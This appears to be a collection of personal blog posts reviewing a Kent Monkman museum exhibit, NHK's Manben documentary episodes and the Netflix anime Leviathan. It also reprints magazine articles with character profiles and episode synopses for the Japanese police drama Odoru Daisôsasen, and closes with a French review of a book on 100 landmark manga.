A day at the museum [002.025.364]

Kent Monkman

My wife wanted to see this exhibit at the museum, so we renewed our annual membership that had lapsed since the Covid. Knowledge often comes through the arts, so it was time to have an even more cultured life. We’ll try to go visit the museum at least once a month and there are a few interesting shows coming this year. This one was a good exhibit to start with.

Kent Monkman (born in 1965) is a  Two-Spirited visual artist, member of the ocêkwi sîpiy (Fisher River Cree Nation). Through his interdisciplinary art, he explores the complexities of historical and contemporary Indigenous experiences by using themes of colonization, sexuality, loss, and resilience. His gender-fluid alter ego, Miss Chief Eagle Testickle, often appears in his work.

Monkman is an incredibly talented artist who mixes classic themes and influences loaded with symbolism and humour, very realistic and detailed portrays, beautiful Canadian landscapes and political messages about gender and native rights. It’s a very provocative and interesting exhibit that was well worth the effort to go out in the frigid temperature of late December. I am just a little disappointed to learn that he doesn’t work alone, but with the support of a whole studio. Although, it is understandable that, today, a collective effort is needed to produced such detailed and huge historical paintings. I warmly recommend to visit this show.

The exhibit “Kent Monkman: History Is Painted by the Victors” will be displayed at the Montreal Museum of Fine Arts until March 8, 2026.

Anime & manga updates [002.025.194]

Anime & manga updates

Manben

I’ve talked about “Manben” a couple of years ago, but here’s another update.

The latest episodes of the NHK World documentary series Manben: Behind the Scenes of Manga with Urasawa Naoki (which introduces us to mangaka like Shigeru Mizuki, Nishi Keiko or Chiba Tetsuya) is about Iwamoto Nao, a popular shojo manga artist known for her rich worlds of fantasy, romance, and adventure. Over a four-day period, we see her work on pages for Seven Knights of the Marronnier Kingdom. The episode originally aired in Japan in October 2020, but the English version just aired on July 12, 2025 (at 09:10 PM) and July 13, 2025 (at 03:10 AM, 09:10 AM, and 03:10 PM) and should be soon available to view as VOD (Video on Demand).

Iwamoto Nao (岩本 ナオ) is a shōjo mangaka who made her debut when she received the 10th Gekkan Flowers Comic Audition Golden Flower Award for her work “Sono Kanojo no Sonzai” which was subsequently published in the May 2004 issue of Monthly Flowers. She also received in 2009 the 55th Shogakukan Manga Awards in Shojo category for Machi de Uwasa no Tengu no Ko. She is mostly known for the latter as well as for Kin no Kuni Mizu no Kuni and Marronnier Oukoku no Shichinin no Kishi, but she has published more than half a dozen titles:

  • スケルトンインザクローゼット [Sukeruton in za Kuroozetto / Skeleton in the Closet] : a collection of 7 stories, serialized in Flowers, Shogakukan, 2005.
  • イエスタデイ、イエス ア デイ[Iesutadi Iesu a Di / Yesterday, Yes a Day] : serialized in Flowers, Shogakukan, 2006, 1 vol.
  • あめなしむらやくば さんぎょうか けん かんこうがかり [Amenashi-mura Yakuba Sangyou-ka ken Kankougakari ]: serialized in Rinka, 2007, 3 vol.
  • 町でうわさの天狗の子 [Machi de Uwasa no Tengu no Ko / lit. “The Tengu Child Rumored in Town”] : serialized in Flowers, Shogakukan, 2007, 12 vol. Translated in French by Kazé as Spiritual Princess. [Nelligan]
  • ジャイキリ読んで〇〇してきました [Jaikiri Yonde Maru Maru Shite Kimashita / lit. “I Started Doing 〇〇 After Reading Giant Killing”] : an essay manga published in “Giant Killing extra”, Kodansha, 2010.
  • 金の国水の国 [Kin no Kuni Mizu no Kuni / lit. “Gold Kingdom and Water Kingdom”] : serialized in Flowers, Shogakukan, 2014, 1 vol. It was adapted into an anime movie in 2023 and translated in English by Seven Seas. Also translated in French by Akata as Les noces de l’or et de l’eau.
  • 七叶树王国的七名骑士 [Marronnier Oukoku no Shichinin no Kishi / lit. “Seven famous swordsmen of the Seven Leaf Kingdom”] : serialized in Flowers, Shogakukan, 2016, 10 vol., ongoing series. Translated in French by Akata as Les 7 chevaliers du royaume des Marronniers.
  • 岩本ナオ 古今東西しごと集 [Iwamoto Nao Kokon Touzai Shigoto-shuu / lit. “Nao Iwamoto: A collection of work from around the world, past and present”] : an anthology collecting 4 stories to celebrate her 15th year anniversary in the industry, Shogakukan, 2019.

[ AniListANNGoodreadsLesLibrairesMangaUpdatesNelliganWikipedia ]

Léviathan

The anime adaption of Scott Westerfeld‘s young adult novel series, Leviathan, is now available on Netflix. Produced by Studio Orange (Trigun Stampede, Beastars), it is set in an early twentieth century alternate steampunk past and tells the story of an Austrian fugitive prince and a Scottish airman in disguise who find themselves aboard the HMS Leviathan, a genetically engineered airship, fighting mechanized war machines in order to prevent a world war.

I have now watch half of the twelve episodes of the series and I must say that I am VERY impressed with this anime. It is quite faithful to the original book (of course, like all adaptation, there are a few shortcuts here and there, and some changes, but it is very respectful of the original) and the animation is of very high quality. It is somewhat reminiscent of Gundam (character designs) and Miyazaki (particularly the watercolour storyboard of the end credits by Christopher Ferreira & Alex Alice). It is an excellent work that I strongly recommend to all anime fans, particularly if you already know the novels or if you are interested in alternate history and steampunk.

Leviathan, Japan, 2025, anime series, 12 episodes of 25 min.: Dir.: Christophe Ferreira; Scr.: Yuichiro Kido, Yukata Yasunaga (based on Scott Westerfeld’s novels); Studio: Qubic, Orange; Anim. Prod.: Tokuya Ogawa, Daigo Ikeda; Voice dir.: Yoshimi Iide;  Char. Des.: Ayumi Kurashima;  Mecha des.: Takehiko Hoashi, Shinobu Tsuneki;  Creature des.: Le Yamamura;  Art dir.: Tadashi Nakajima;  Ed.: Edit Room Seyama, Rie Matsubara; Mus.: Nobuko Toda, Kazuma Jinnouchi, Joe Hisaishi (op & closing theme); Prod.: Katrina Minett, Yoshihiro Watanabe; Distr.: Netflix; Cast: Natsumi Fujiwara (Dylan), Ayumu Murase (Alek), Shunsuke Sakuya (Volger), Yasuhiro Mamiya (Klopp), Mie Sonozaki (Dr. Nora Barlow), Ivan Shibata (Newkirk), Fairouz Ai (Lilit), Hiroki Touchi (Tesla), Ikuko Tani (Nene), Genta Nakamura (Hoffman), Daichi Hayashi (Rigby), Satoshi Niwa (Matthews), Naoto Kobayashi (Thomas), Yukitaro Namura (Hirst), Michio Hazama (George Darwin), Takahiro Fujiwara (Pavel), Naomi Kusumi (Zaven), Tessyo Genda (Sultan).

[ ANNIMDbWikipedia ]

[ Traduire ]

Anime & manga updates [002.025.165]

Anime & manga updates

Manben

The latest episodes of the NHK World documentary series Manben: Behind the Scenes of Manga with Urasawa Naoki (which introduces us to mangaka like Shigeru Mizuki or Nishi Keiko) is about Chiba Tetsuya, the creator of the legendary series Ashita no Joe. The episode originally aired in Japan in 2020, but the English version just aired on June 13, 2025 (at 09:10 PM) and June 14, 2025 (at 03:10 AM, 09:10 AM, and 03:10 PM) and should be soon available to view as VOD (Video on Demand).

Tetsuya CHIBA [jp], now 86 year-old, talks about creating Ashita No Joe and we see him working on a few pages of his latest autobiographical series, Hinemosu no Tari Nikki [ひねもすのたり日記 / lit. “Daytime diary”]. He was recently the first mangaka to be honoured with the prestigious Order of Culture award. 

Midnight Diner

If you are into Japanese drama tv series, I strongly recommend Midnight Diner [深夜食堂 / Shinya shokudō]. Based on a manga by Yarō Abe, it offers five seasons of ten 25-minute episodes each, directed by Joji Matsuoka and starring Kaoru Kobayashi. The first three seasons aired in Japan on MBS from October 2009 to December 2014 and the last two seasons (titled Midnight Diner: Tokyo Stories) aired on Netflix from October 2016 to October 2019. All five seasons are now available subtitled on Netflix. It tells the story of a chef, known only as “Master”, who operate a 12-seat late-night diner in Shinjuku. It is opened from midnight to 7 am and the menu offers only Tonjiru (pork miso soup), but the chef can cook whatever customers request as long as he has the ingredients for it. Each episode focuses on one specific Japanese dish and the life drama of one of his regular costumer. It has also spawn two movies (in 2014 and 2016). It is a really great series as it offers the drama of daily life, is often funny and sometimes falls into fantasy (or magical realism). I really like it.

Leviathan

The anime adaption of Scott Westerfeld‘s young adult novel series, Leviathan, is coming to Netflix on July 10th. Produced by Studio Orange (Trigun Stampede, Beastars), it is set in an early twentieth century alternate steampunk past and tells the story of an Austrian fugitive prince and a Scottish airman in disguise who find themselves aboard the HMS Leviathan, a genetically engineered airship, fighting mechanized war machines in order to prevent a world war. It is quite promising. You can watch the teaser on Youtube:

[ Traduire ]

Wangan Police Station

When I was producing the Protoculture Addicts magazine in the ’90s and early 2000s, I used to watch a lot of Japanese TV drama thanks to friends in Japan and in the U.S. who were recording them and sending us copies. I was greatly enjoying those shows and I must admit that I miss them. One of the shows I liked a lot was Odoru Daisôsasen, a police procedural comedy. A few months ago I noticed that Netflix started adding to their lineup Japanese TV drama like Jin, Asura, The Makanai, Okura: Cold Case Investigation, Shinjuku Field Hospital, Quartet, etc.

I recently said to my wife, “I just hope that Netflix will add nice shows like Odoru Daisôsasen…” and, to my astonishment, I discovered a couple of weeks ago that Odoru Daisôsasen was indeed offered on Netflix ! I started watching it again. Of course, the quality of the picture is not as good as what we see today and the screen aspect ratio is almost square (after all it was produced in 1997), but it was still funny, interesting, entertaining and very enjoyable. I remembered that we published an article in the magazine about the show and I decided to share with you here a slightly updated version of this article (or you can read the original illustrated article here, in PDF — Enjoy!).

Go to Netflix and have a look, I am sure you will like it. [CJP]

> Please, read the warning for possible spoilers <<

Odoru Daisosasen

By Miyako Matsuda (From Protoculture Addicts #60: 15-18)

Overview

Odoru Daisôsasen (“The Big Dancing Criminal Investigation Line”) TV series is sometimes called Dancing Detective, sometimes Rhythm & Police, but it’s mainly called Wangan Police Station (WPS) among North American anime otaku. If you’re a Patlabor fan, you will absolutely love this TV series which started in January 1997 and became a super hit in Japan! Up ’till now [in May 2000], there are eleven TV episodes, three TV Special “movies,” and a theatrical release (Bayside Shakedown The Movie, which was shown at the Montréal World Film Festival ’99 — see PA#59: 15; three more movies will be added later [in 2003, 2010, 2012], plus three spin-off movies [two in 2005, and one in 2024] and a new movie is coming in 2026). In fact, the TV series was so popular that, according to news reports, over 3000 fans waited in line all night to be able to see the premiere of the movie and to meet the director & the actors at the Nichigeki Toho Theatre in the fashionable district of Yuraku-cho in Tokyo. We heard that it has also become very popular among Japanese anime otaku and that, at the Comic Market, many fans dressed like Detective Sergeant Aoshima, the main character of this show! Odoru Daisôsasen surely became a big phenomenon! The TV series and TV Specials are already available on videos (in Japanese) by Pony Canyon, and we do hope that a North American releaser will pick this title up some day to bring this very interesting human story to English-speaking fans.

“Wangan” means Bayside. It’s the fictitious name of the police station, located near the Rainbow Bridge and Tokyo Bay. In fact, this show’s world is quite real! We viewers know that it’s fiction, with lots of fictitious small details, to reflect today’s Japan and its youth culture. In one episode, we see a character named Noguchi who’s an anime otaku (he loves the Sailor Moon-like character Pink Sapphire!) and a stalker! And there is this place called “The Image Club” where customers go and can meet girls who wear anime & TV characters’ costumes, etc. We all know it’s a fictitious TV show and yet, this Wangan world is very real, as if we’re part of the show. If we enter Wangan’s world, we all know these things exist! 

The main character, Sunsaku Aoshima, is played by none other than Yuji Oda, who’s quite charming and all viewers would feel empathy and love his honesty. Aoshima-kun is a Police Sergeant. He always introduces himself to the people he meets saying, “I’m Police Sergeant Aoshima, the same name as Tokyo prefectural governor!” The reason why we begin to like Aoshima-kun immediately is that he’s NOT an ordinary cop. He used to be a salesman in a computer company, but he was bored, so he quit his job and became a cop! He’s just like any of us: he wants excitement in his life and he wants justice! But of course, our lives don’t always go the way we want and life is full of disappointments! Just like many of us, he wants to be a “cool” cop, and yet, he faces many hardships and disappointments. This is why many people become fans of this show, I think!

Wangan Police Station saga was created by Director Katsuyuki Motohiro (who’s in his 30s and you’d definitely feel the fresh air of youth while you’re watching this show!) and screenplay writer Ryoichi Kimizuka, and lots of enthusiastic crew members. The more we watch this show, one episode to the next, we start feeling tremendous empathy toward all its characters. American TV shows like ER, Chicago Hope, etc., are great in their own way, but it is rare to see a show like WPS which can offer a full range of joy, anger, sadness, and enjoyment, captivating us by the strength of its story and its refreshing new views of society. The way each character speaks reminds us of who they are and that they are part of a vertically structured society (which is probably similar to the American police forces & military). Also, WPS world’s criminals are really psycho & weirdos (an anime otaku psycho, an insurance salesman murderer, a gigolo drug dealer, an intelligent psycho bomber, etc.) who also reflect our own times. Interestingly, computers and the internet are often part of the story…

After viewing, you’ll feel like clapping your hands with its theme song “Love Somebody”. Highly Recommended!! [MM; with contributions by CJP]

Odoru Daisôsasen (踊る大捜査線 / lit. “The Big Dancing Investigation Line”), a.k.a. Dancing Detective, Wangan Police Station, Bayside Shakedown, Rhythm and Police; Japan, TV Drama, 11 eps (45 min.) + 3 specials (100 min.) + 4 movies; aired on: Fuji TV (FNS) Tuesdays at 21:00 from January 7 to March 18, 1997; Dir.: Katsuyuki Motohiro, Kensaku Sawada; Scr.: Ryoichi Kimizuka; Prod.: Chihiro Kameyama, Shôji Hidefumi; Cast: Yuji Oda (Shunsaku Aoshima), Toshiro Yanagiba (Shinji Muroi), Eri Fukasu (Sumire Onda), Miki Mizuno (Yukino Kashiwagi), Chosuke Ikariya (Heihachiro Waku), Yusuke Santa Maria (Masayoshi Mashita), Takehiko Ono (Kengo Hakamada), Soichiro Kitamura (Kanda),Kenta Sadoi (Jiro Uozumi).

Reference: Kinema Junpo #1269 (01/98): 26-63. For more information you can check out those web sites:

[ AsianWikiFuji TVIMDbNetflixOfficialPrime Jp •  Wikipedia ]

Special thanks to Junpei Kamada & Vincent R. Wilson who provided the videos.

© 1997-98 Fuji Television Network, Inc.

Characters

Sunsaku AOSHIMA

Wangan Police Station Criminal Case department police sergeant. He is the main character of this story. He used to be a salesperson in a computer company but, due to boredom & disputes among private companies, he quit & became a police sergeant. He began to feel sadness & great frustration inside Wangan Police Station because of unreasonable bureaucracy, but he’s very optimistic and began to change people around him. He’s basically “an eternal kid” himself, who loves children, and he is very sincere. Actor: Yuji Oda.

Sumire ONDA

Wangan Police Station theft department police sergeant. Until she met Aoshima-kun, she used to be like an office lady of Wangan Police Station. She was attacked by a psycho-criminal in the past and has a deep scar in her heart. She looks cold outwardly, but inside she’s naive & gentle. She never forgives a criminal who abuses women. Actress: Eri Fukatsu.

Heihachiro WAKU

Wangan Police Station detective leading officer. He is like Japan’s Morgan Freeman! He’s a role model for Aoshima-kun who looks up to him at all times. Six years ago, his young detective partner officer was murdered. When he met Aoshima, he decided to dedicate his life to catching criminals. A man of justice with very philosophical words. Actor Chôsuke Ikariya is absolutely perfect for this role.

Shinji MUROI

The Metropolitan Police Board Criminal Councillor. He’s the elite of Japan’s National Government officer. When he met Aoshima-kun, his policy changed, to be more caring, and he tries to be flexible to deal with things case by case. He doesn’t talk very much, but has the courage of his convictions and is very brave. He knits his brows a lot (frowning makes wrinkles appear between his eyes, which characterize him). He’s originally from Akita Prefecture of Northern Japan. When he meets people from his prefecture, he starts talking with his thick dialect. Because of that, other city officers who graduated from Tokyo University look down on him. He is elite, but very human. Actor: Toshiro Yanagiba.

Yukino KASHIWAGI

Wangan Police Station traffic department lady officer. She was the daughter of a murdered victim, and couldn’t talk for a while due to her great emotional shock. Aoshima-kun helps her to get back to social life and she becomes a criminal case officer sergeant. Actress: Miki Mizuno.

Masayoshi MASHITA

Wangan Police Station Detective. He’s the son of an elite officer of the Metropolitan Police Board and he wants to go “up” as a professional officer. He is cheerful, full of wit and loved by everyone. Actor: Yusuke Santa Maria.

The Three Amigos

Wangan Police Station chief detectives. They are called “The Three Amigos” due to the fact that they are always together and that they constantly flatter top officers to secure their salary. Actors: Soichiro Kitamura, Akira Saito, Takehiko Ono.

Synopses

>> Please, read the warning for possible spoilers <<

1. Salary-man Police Officer & His First Difficult Case 

Aoshima-kun, a 29-year-old police sergeant arrives for his first assignment at the Wangan Police Station  with enthusiasm, but Sergeant Sumire Onda totally ignores him. When he arrives at his first murder scene, he is treated as a nuisance. He meets the elite officer Muroi, but Detective Waku takes him away. In his office, all members act separately and they don’t even look like serious officers. Aoshima-kun is disappointed. The first job he gets is to be a driver for Councillor Muroi, to bring him to the General Hospital to see a daughter of the murder victim. She can’t talk due to her emotional shock, but Ashima approaches her gently. He also has to investigate a suspicious insurance salesman named Tanaka. He finds some comfort talking with Tanaka, but later discovers that Tanaka, bored by his routine job, is the murderer they were looking for! Ashima is shocked, “That man could have been me”. 

2. The delivered goods of love & revenge

Detective Waku is targetted by a police-killer named Yamabe. In the past, Waku-san has hit him during an inquiry, and that’s why Yamabe killed another police officer in revenge, Councillor Muroi thinks. Meanwhile, a fancy chair is delivered to Wangan Police Station for Waku-san, who thinks it is a gift from someone in the Police station that took pity of his old age & badly aching back. He sits… then, something is very wrong! There is a bomb under the chair and he can’t get up. Ashima-kun tries to help, but, accidentally, touches a wire and he can’t move at all either! During the ordeal, every member of Wangan Station offers their opinion. Finally, the Special Force arrives and both of them are saved on time. Muroi-san having behaved as a “gentleman”, the criminal Yamabe says to him,”I won’t take my revenge on you” before being taken away.

3. The erased report and her incident

Sergeant Sumire-chan is investigating a theft case, but the criminal is the son of a high government official named Tetsuya, and Sumire is ordered to stop investigating the case! She becomes angry and brings Keiko & Aoshima to a jail cell and stays there to protest the decision. Councillor Muroi arrives at Wangan station to talk to her, letting her know that she can investigate as long as she doesn’t bring the case to the media. Aoshima gets angry also, and shouts at Councillor Muroi, “The police station is not like a private sector company, right?!” Meanwhile the thief Tetsuya shows no remorse and Aoshima gets even angrier! Aoshima is scolded by Tetsuya’s lawyer, but Councillor Muroi protects him. Muroi says, “I shall become a top officer!” Aoshima smiles at him.

4. A girl’s tears and the pride of police officer 

Councillor Muroi is beginning to like Aoshima-kun very much, and wants him to be his subordinate. Muroi gives to Aoshima a chance to arrest the criminal Ooki, who’s a serial robber. Aoshima arrives at the nightclub to arrest him, but he sees a girl who is attacked by a violent man. Instead of arresting Ooki, Aoshima chooses to help the girl who is being abused. Councillor Muroi is extremely upset by this failure. However, Detective Waku & the other Wangan Police Station members, who were listening on the radio, go out to find and arrest Oaki, and bring him to Muroi.

5. Can’t hear her screaming voice!

Sergeant Sumire Onda is attacked on the way home. The criminal, Noguchi, is obsessed by her and has previously attacked her! Fortunately, Sumire-chan isn’t injured much, but Noguchi sends her a videotape of her apartment! He confuses Sergent Sumire with the anime character Pink Sapphire, and since she rejected him, he’s planning to take revenge on her. He’s a terrible stalker! About the same time, two other crimes are committed in the same way, and Detective Mashita retraces Noguchi through the Internet! Sumire agreed to become a decoy. In a parking lot, Aoshima looses sight of Sumire, and she’s again attacked by Noguchi, but, fortunately, Muroi arrives in time to save her and arrest the psycho-criminal Noguchi.

6. A Waiting Detective & her love and truth

Wangan police station is full of joy with the presence of a young girl entertainer, but Aoshima & Waku-san are on a stakeout to catch a drug dealer. Aoshima is shocked to find out that Ms. Yukino, the victim’s daughter in the first episode, is involved! Councillor Muroi doesn’t even remember her and when she receives a package with drugs, she’s arrested. She was a gal-pal of the drug dealer Iwase when she was a student in Los Angeles, but knew nothing of his drug dealings. Aoshima purposely makes her angry & she hits him, so he can arrest her and keep her from being brought to the headquarters. Ashima now has 48 hours to find and arrest the drug dealer Iwase.

7. 48 hours time limit

Waku-san brings Aoshima to meet his informant, Tatsumura (nicknamed the “mole”), to get a lead on Iwase. They succeeded in getting the list of Iwase’s former gal pals. Meanwhile, Ms. Yukino tells Aoshima about a gal named Ayako Sumida. The very next day, Aoshima succeeds to sneak in the company where Sumida’s gal works to get more information on her. While Detective Mashita & Sergeant Sumire are trying to kill the time and keep Ms. Yukino longer in Wangan station, finally, Detective Waku & Aoshima, who followed Ms. Sumida, arrive at the station with the drug dealer Iwase for Muroi to arrest him publicly. Waku says to Aoshima, “Go to the top, if you want to do the right thing!”

8. Farewell our beloved detective

The HQ hires “The Profiling Team,” three young nerd detectives who think they can solve any crimes just at looking at all the data on their computer! Detective Waku is furious for being ignored and leaves to investigate by his own old-fashioned way. Meanwhile, Sumire-chan is taking care of a little girl, Ai, who was alone in her parents’ house when it was visited by a thief. Councillor Muroi also feels great “doubt” for this trendy scientific crime-solving method and those brainy kids from the university. The Profiling Team thinks the criminal they are looking for is a man named Shibuya. Detective Waku rather suspects a man named Kubota. Muroi orders to check both suspects and it turns out that Kubota is the thief whom Sumire was looking for. Shibuya was indeed the criminal as the team said, but they realize how difficult it is to confront a criminal! Aoshima is the one who succeeds in making Shibuya confess.

9. Wangan Police Station Big Panic! Danger to Sergeant Aoshima. 

An unemployed student tries to commit suicide, and Detective Waku & Aoshima succeeds in stoping him. Councillor Muroi asks them to protect the mistress of a suspect murderer. She is very selfish, saying that, “I never asked him to murder anyone!” Aoshima & the other station members can’t stand her. Meanwhile, Aoshima finds a suspicious man looking around the station and relay the information to Muroi by fax, but receives no reply. The mistress is released for lack of evidence, and, on her way out, an elder brother of the victim (the suspect spotted by Aoshima) attacks her. Aoshima tried to stop him, but gets stabbed! Thanks to the lucky charm he always carries, Aoshima survives, but he gets angry at Muroi for not helping him earlier. Muroi feels great responsibility. “This was my fault,” and he promises to do more…

10. The Deadly Bullet: Detective’s tears were erased by the rain. 

Tatsumura (the “mole”) gives Detective Waku information about an old murder case where the victim was a police officer. This case is important to Waku-san, but he will retire in a week, so he decides to do things his own way. Aoshima asks Muroi for help but without success (bureaucracy!). Waku finally arrests a man named Toshi, who bragged of being a cop killer, but admits he was just doing like his buddy Anzai, who just came back from the Philippines. Anzai is an illegal gun dealer with a big scar on the face. At the same time, Ms. Yukino is coming back from her police entry exam and Mashita offers to walk her home. On their way, Mashita stops a man acting suspiciously. The man, who has a scar on the face, shots Mashita! Yukino screams! Later, all Wangan members are distributed weapons and they are looking for evidence under the heavy rain…

11. Farewell Sergeant Aoshima

Detective Mashita is in the hospital, heavily injured. Wangan station members find out information about Anzai on Detective Mashita’s internet homepage! Aoshima & Sumire go to see a man named Shiraishi, and they accidentally meet Anzai in the “Image Club” — a place where men buy prostitutes wearing anime costumes! Anzai starts shooting at Aoshima, so he had no choice but to shoot back. Instead of helping each other, the top elite bureaucrats are worried about the appearances. Councillor Muroi gets furious, and runs from the office. Aoshima & Muroi finally find the bar where Anzai is, after asking Yamabe about the location. Finally, they can arrest Anzai. Detective Waku says he wants Aoshima to continue his work after his retirement. He leaves Wangan Station saying, “I’m leaving, but Wangan Station doesn’t die as long as you have Aoshima.” A week later, Councillor Muroi & Aoshima receive their punishment for not obeying orders, but Aoshima is happy, saying to Muroi, “You, you stay on top for me!” Both smile at each other. Several days later, Aoshima starts his new assignment as an officer in a neighbourhood Police Box. On the street, he encounters an old lady, Mrs. Yoshida, who gave him his precious lucky charm!

The End of the Year Police Special

The year ’97 is almost over. With the help of Councillor Muroi, Ashima can come back to the Wangan Police Station after a long (longer than planned!) absence, but no one wants him in any department! He ends up in the Traffic Department with Ms. Yukino, but gets involved with an injury case at an elementary school. Then, he is sent to Life Safety Department and then to another Department, and another! During all this time, he is still investigating the elementary school incident and finally arrests a young drug addict named “Kagami.” Kagami somehow sneaks out while the station’s staff is distracted and takes one of the Three Amigos hostages with a gun! It turns out that Kagami is also a murderer wanted by the Metropolitan Police HQ! The elite officer Shinjo says, “For his crime he deserves death” and tries to shoot Kagami, but at the right moment Councillor Muroi calls the Special Force, S.A.T., and Kagami is finally arrested!

Wangan Side Story: The Female Cop Story

Ms. Natsumi Shinohara arrives at the Wangan Police Station after graduating from the Police Academy to be a Police Lady in the Traffic Department. She shows the newcomers’ enthusiasm, but her hopes are destroyed when she is put under the responsibility of Ms. Kuwano, a “natural-born old maid” & very inflexible female cop. Natsumi finally gets tired of being pushed around! She screams after going through so many unpleasant incidents, “If you’re right, I’m quitting!” Later, Natsumi gets accidentally involved with a criminal whom the police HQ had been looking for. She is asked to chase the criminal’s car, and Kuwano is assisting her through the radio. Natsumi succeeds in hitting the criminal’s car and arrests him. After the incident, Kuwano is transferred and Natsumi shows her respect by saluting, “We’re all police officers”.

The Autumn Crime Eradication Special

Aoshima-kun comes back to Wangan station after a month of investigation under cover. After an arson incident, the criminal and the woman who ordered him to commit the crime are arrested and Aoshima is asked to pick them up. Somehow, the woman escapes. Aoshima and Sumire are punished for letting her escape, especially Sumire who seems sympathetic to the woman who had been abused by her boyfriend. Councillor Muroi wants Aoshima to follow Sumire and report her activities. He is also tapping the telephone wire of Wangan station to investigate both Aoshima & Sumire! Ashima accuses him of betrayal & treachery. The woman is arrested by Shinjo, but Aoshima also insists on investigating the victim (the woman’s boyfriend and abuser) equally. Sumire is furious for finding out that she was tapped. Even after the arrest, all members feel betrayed and this incident had deepened the emotional split among Wangan members.

Japanese Movies at the 1999 MWFF

Odoru Daisôsasen: The Movie (Bayside Shakedown)

By Miyako Matsuda (From Protoculture Addicts #59: 15)

This very original Police show will totally charm you! Bayside Shakedown was the English language title at the 1999 Montreal World Film Festival, but the original title is Odoru Daisôsasen The Movie: Wangansho Shijo Saiaku No 3-kakan, which means “The Dancing Large Criminal Investigation Line Movie: The Worst 3 Days In Wangan Police Station History” (gee, too long, eh?). It is also known by fans as Rhythm & Police or Wangan Police Station. Actually, it was a super popular hit TV show in Japan (it started in January 1997 and there were eleven 45-min. episodes, followed by four TV Specials — we will cover this series in a future issue of the magazine), so it is no surprise that they brought those characters back in a movie! Both the series and the movie have very comical scenes that make you laugh, as well as some serious ones (like exposing the ugly politics among Japanese bureaucrats), that make you think. In any case, it’s captivating and you can’t take your eyes off the screen!

It tells the everyday life story of Wangan (Bayside) Precinct Police Station in Tokyo: murder cases, petty thefts, kidnapping cases, etc. In a way, it’s like many other cop shows, but the storytelling is very original and those characters are charming. The leading character is Detective Aoshima-kun (played by Yuji Oda) who’s young and idealistic. He used to be an office worker in a computer company, but he was bored to death and longed for being a cool police detective. So, he quit the job to join Wangan Police Station. However, he is quickly disillusioned. He thought that being a detective would mean arresting criminals and doing murder investigations, but finds his work paralyzed by police stations’ territorial disputes spawned from the Japanese vertically structured society and bureaucracy. Maybe that job is just as bad as in the private sector? The local cops are always pushed around by the Headquarters’ officers and warned to keep their noses out of the investigations despite the fact that Wangan people know the area better. Being so helpless makes Aoshima feel despaired, but, having befriended Inspector Muroi, from Headquarters, he convinces him to try helping citizens instead of just being an elite bureaucrat.

Another great character is Detective Waku (nicknamed “The Japanese Morgan Freeman”!), an old and extremely philosophical cop who plays the role of a mentor for Aoshima. As a guest appearance, we can also see Ms. Kyoko Koizumi (a former Japanese idol singer nicknamed “Kyon Kyon”) who plays a psycho! This female character, a nurse who became unemployed, is like a child living in her own world and she kills people who want to die. She’s a really scary character. Well, actually in Bayside Shakedown The Movie, all criminals are “psychos” who can’t grow up and remain children psychologically. A bunch of teenagers kidnap a company’s president and they think that’s a game! Time has really changed. Now, with the Internet, where psychos and criminals can communicate and exchange ideas, the nature of crime itself has changed.

The director, Mr. Katsuyuki Motohiro, is very young. Born in 1965, his background is in TV, where he directed several variety shows and dramas. The movie still has this “TV show” feel, but Director Motohiro also gives an incredible tempo to the storytelling by using dynamic film angles, slow motion, fast paced shots, etc. It is really like dancing! We must add that Mr. Ryoichi Kimizuka did a fantastic job with this very entertaining script. We can feel a real empathy towards those police characters! The balance is very good between action & reflection, humour & drama. Finally, all this is very well supported by an excellent soundtrack by Akihiko Matsumoto. The music makes a great difference and gives more punch to the story!

After seeing this film, I really felt good and I wanted to see more (luckily, we were able to find the TV series). We highly recommend this movie. You won’t be disappointed! Hopefully, some North American releaser will eventually release both the TV series and the movie in English. [MM]

Odoru Daisôsasen The Movie (踊る大捜査線 THE MOVIE). Japan, 1998, 119 min. Dir.: Kasuyuki Motohiro; Script: Ryoichi Kimizuka; Phot.: Osamu Fujishi; Mus.: Akihiko Matsumono; Prod.: Fuji TV/Pony Canyon; Cast: Yuji Oda, Toshiro Yanagiba, Eri Fukasu, Miki Mizuno, Kyoko Koizumi, Chosuke Ikariya, Takehiko Ono, Soichiro Kitamura, Akira Saito, Masayoshi Mashita, Yusuke Santa Maria, Kenta Sadoi, Toshio Kakei.

Source: Kinema Jumpo #1269 (11-98): 26-63. For more information you can check out those web sites:

[ AsianWikiIMDbOfficial webpageRotten TomatoesWikipedia ]

[ Traduire ]

100 mangas qui ont marqué l’histoire !

100MangasQuiOntMarquésHistoire“100 mangas incontournables à découvrir ou redécouvrir ! Pour fans et néophytes !

 Depuis quelques années, un peu plus d’une bande dessinée sur deux vendue en France est un manga. En 40 ans, les œuvres illustrées venues du Japon sont passées de la curiosité étrange réservée à un public d’initiés à un phénomène touchant les lecteurs de tous âges et de tous les styles.

Outre les séries emblématiques présentes dans cet ouvrage, découvrez les pépites sélectionnées et présentées par des journalistes experts en culture japonaise. Vous y découvrirez des titres pour tous les goûts de l’incontournable shônen (Dragon Ball, One Piece, Chainsaw man) aux œuvres plus intimes comme Quartier Lointain ou My Broken Mariko, des titres formateurs de l’enfance (Doreamon, Card Captor Sakura) aux œuvres plus adultes (Gen d’Hiroshima, L’Habitant de l’infini, Le Pavillon des hommes, Saturn Return), ce livre vous invite à un voyage de 60 ans pour découvrir toute la richesse et la diversité des mangas avec les 100 titres les plus représentatifs de la bande dessinée japonaise de 1959 à 2019.”

[Texte du site de l’éditeur; voir aussi la couverture arrière]

(Attention, lire l’avertissement de possible divulgacheurs)

Il existe déjà beaucoup d’ouvrages sur les mangas mais les premières références commencent à dater (à ce sujet voir ma bibliographie des références essentielles sur l’anime et le manga que je viens tout juste de mettre à jour). Il est donc important, de décennie en décennie, de produire de nouvelles références qui sont à jour avec les plus récentes parutions. C’est ce que fait cet ouvrage. Il regroupe par décennies les titres de mangas qui se sont le plus démarqués dans les soixante dernières années. Chaque titre est décrit et commenté sur deux pages.

Les années soixante: Kitarô le Repoussant, Ashita no Joe, Phénix: l’Oiseau de Feu, Doraemon.

Les années soixante-dix: Lone Wolf and Cub, Devilman, Kamen Rider, La Rose de Versailles, Le Clan des Poe, L’École Emporté, Lorsque Nous Vivions Ensemble, Gen D’Hiroshima, Captain Albator, Destination Terra.

Les années quatre-vingt: Touch!, Akira, Nausicaä de la Vallée du Vent, Hokuto no Ken, Dragon Ball, Banana Fish, City Hunter, L’Homme Sans Talent, Crying Freeman, Jojo’s Bizarre Adventure, The Five Star Stories, Parasite, Berserk, Ghost in the Shell, Pink.

